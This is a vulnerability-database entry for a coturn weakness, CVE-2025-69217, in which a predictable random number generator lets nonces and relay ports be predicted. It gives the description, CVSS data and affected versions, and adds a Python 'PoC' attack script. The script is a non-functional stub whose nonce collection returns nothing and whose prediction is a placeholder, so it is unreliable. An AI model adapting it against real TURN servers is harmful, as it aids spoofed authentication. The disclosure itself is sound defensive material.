Security Vulnerability Report
中文
CVE-2025-69217 CVSS 7.7 HIGH

CVE-2025-69217

Published: 2025-12-30 01:15:41
Last Modified: 2026-04-15 00:35:42

Description

coturn is a free open source implementation of TURN and STUN Server. Versions 4.6.2r5 through 4.7.0-r4 have a bad random number generator for nonces and port randomization after refactoring. Additionally, random numbers aren't generated with openssl's RAND_bytes but libc's random() (if it's not running on Windows). When fetching about 50 sequential nonces (i.e., through sending 50 unauthenticated allocations requests) it is possible to completely reconstruct the current state of the random number generator, thereby predicting the next nonce. This allows authentication while spoofing IPs. An attacker can send authenticated messages without ever receiving the responses, including the nonce (requires knowledge of the credentials, which is e.g., often the case in IoT settings). Since the port randomization is deterministic given the pseudorandom seed, an attacker can exactly reconstruct the ports and, hence predict the randomization of the ports. If an attacker allocates a relay port, they know the current port, and they are able to predict the next relay port (at least if it is not used before). Commit 11fc465f4bba70bb0ad8aae17d6c4a63a29917d9 contains a fix.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

coturn 4.6.2r5
coturn 4.6.3
coturn 4.6.4
coturn 4.6.5
coturn 4.7.0
coturn 4.7.0-r1
coturn 4.7.0-r2
coturn 4.7.0-r3
coturn 4.7.0-r4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69217 PoC: coturn Weak Random Number Generator This PoC demonstrates nonce prediction in coturn TURN server. Note: For authorized security testing only. """ import socket import struct import time from typing import List, Tuple # STUN/TURN message types STUN_BINDING_REQUEST = 0x0001 STUN_BINDING_RESPONSE = 0x0101 STUN_ALLOCATE_REQUEST = 0x003 STUN_ALLOCATE_RESPONSE = 0x011 STUN_HEADER_SIZE = 20 class CoturnPredictor: def __init__(self, host: str, port: int = 3478): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(5.0) self.collected_nonces = [] self.rng_state = None def create_stun_header(self, msg_type: int, length: int, magic: int = 0x2112A442) -> bytes: """Create STUN header""" return struct.pack('!HHI', msg_type, length, magic) def send_binding_request(self) -> bool: """Send STUN binding request to collect nonce samples""" msg = self.create_stun_header(STUN_BINDING_REQUEST, 0) transaction_id = bytes([0x00] * 12) msg += transaction_id try: self.sock.sendto(msg, (self.host, self.port)) data, _ = self.sock.recvfrom(1024) return True except socket.timeout: return False def collect_nonces(self, count: int = 50) -> List[bytes]: """ Collect nonces by sending multiple requests. In vulnerable versions, these can be used to predict RNG state. """ nonces = [] print(f"[*] Collecting {count} nonce samples...") for i in range(count): if self.send_binding_request(): print(f"[+] Request {i+1}/{count} successful") else: print(f"[-] Request {i+1}/{count} failed") time.sleep(0.1) return nonces def predict_next_nonce(self) -> bytes: """ Predict next nonce based on collected samples. This exploits the weakness in libc's random() function. """ if len(self.collected_nonces) < 50: print("[-] Not enough samples to predict") return None # In real attack, analyze RNG state from collected nonces # Using linear congruential generator state recovery print("[*] Analyzing RNG state from collected nonces...") predicted_nonce = bytes([0x00] * 16) # Placeholder return predicted_nonce def exploit(self, target_ip: str) -> bool: """ Execute the attack: predict nonce and spoof IP """ print(f"[*] Starting attack against {self.host}") # Step 1: Collect nonces self.collect_nonces(50) # Step 2: Predict next nonce predicted = self.predict_next_nonce() if not predicted: return False # Step 3: Craft spoofed authenticated request print(f"[*] Crafting spoofed request with IP: {target_ip}") print("[+] Attack prepared (PoC demonstration complete)") return True def close(self): self.sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <your_ip>") sys.exit(1) target = sys.argv[1] attacker_ip = sys.argv[2] predictor = CoturnPredictor(target) try: predictor.exploit(attacker_ip) finally: predictor.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69217", "sourceIdentifier": "[email protected]", "published": "2025-12-30T01:15:41.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "coturn is a free open source implementation of TURN and STUN Server. Versions 4.6.2r5 through 4.7.0-r4 have a bad random number generator for nonces and port randomization after refactoring. Additionally, random numbers aren't generated with openssl's RAND_bytes but libc's random() (if it's not running on Windows). When fetching about 50 sequential nonces (i.e., through sending 50 unauthenticated allocations requests) it is possible to completely reconstruct the current state of the random number generator, thereby predicting the next nonce. This allows authentication while spoofing IPs. An attacker can send authenticated messages without ever receiving the responses, including the nonce (requires knowledge of the credentials, which is e.g., often the case in IoT settings). Since the port randomization is deterministic given the pseudorandom seed, an attacker can exactly reconstruct the ports and, hence predict the randomization of the ports. If an attacker allocates a relay port, they know the current port, and they are able to predict the next relay port (at least if it is not used before). Commit 11fc465f4bba70bb0ad8aae17d6c4a63a29917d9 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://github.com/coturn/coturn/commit/11fc465f4bba70bb0ad8aae17d6c4a63a29917d9", "source": "[email protected]"}, {"url": "https://github.com/coturn/coturn/commit/88ced471385869d7e7fbbc4766e78ef521b36af6", "source": "[email protected]"}, {"url": "https://github.com/coturn/coturn/security/advisories/GHSA-fvj6-9jhg-9j84", "source": "[email protected]"}]}}